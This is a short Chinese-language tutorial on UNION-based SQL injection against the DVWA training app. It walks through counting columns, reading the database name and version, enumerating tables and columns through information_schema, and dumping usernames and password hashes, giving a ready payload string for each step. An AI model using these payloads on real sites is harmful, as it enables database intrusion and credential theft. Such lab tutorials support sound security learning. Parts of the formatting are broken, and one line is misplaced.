一、联合查询注入(Union 注入)
- 条件:页面能直接显示查询结果。
- 原理:用
UNION把恶意查询结果拼到正常结果里。 - 例子:
1.测原查询有几列(字段数):SELECT … WHERE id=’1′ ORDER BY 2#
- ORDER BY 2:按第 2 列排序
- 页面正常 → 至少有 2 列
- 你再试 ORDER BY 3 会报错 → 只有 2 列
2.拿到「当前数据库名」:1′ UNION SELECT 1,database()#
- UNION:把两个查询结果合并(列数要一样:2 列)
- database():MySQL 函数,返回当前正在用的库名
3.列出当前库(dvwa)里的所有「表名」:1′ UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database()#
- information_schema:MySQL 系统库,存所有库 / 表 / 字段的元数据
- information_schema.tables:系统表,记录所有表信息
- table_schema=database():只查 当前库(dvwa) 的表
- table_name:表名字段(你拿到 users 等)
4.列出 users 表里所有「字段名」:1′ UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=’users’ AND table_schema=database()#
information_schema.columns:系统表,记录所有字段信息information_schema.tables:系统表,记录所有表信息table_name='users':指定表column_name:字段名(你看到:user,password…)
5.直接拖库 —— 拿到「所有用户名 + 密码哈希」:1′ UNION SELECT user,password FROM dvwa.users#
- 第 1 列回显:
user(账号:admin、gordonb…) - 第 2 列回显:
password(MD5 哈希)
6.拿到「MySQL 版本号」:1′ UNION SELECT 1,VERSION()#
VERSION():MySQL 函数,返回数据库版本(如 5.7.x/ 8.0.x)- 同样用 2 列:
1(占位)+VERSION()(版本)
评论(0)
暂无评论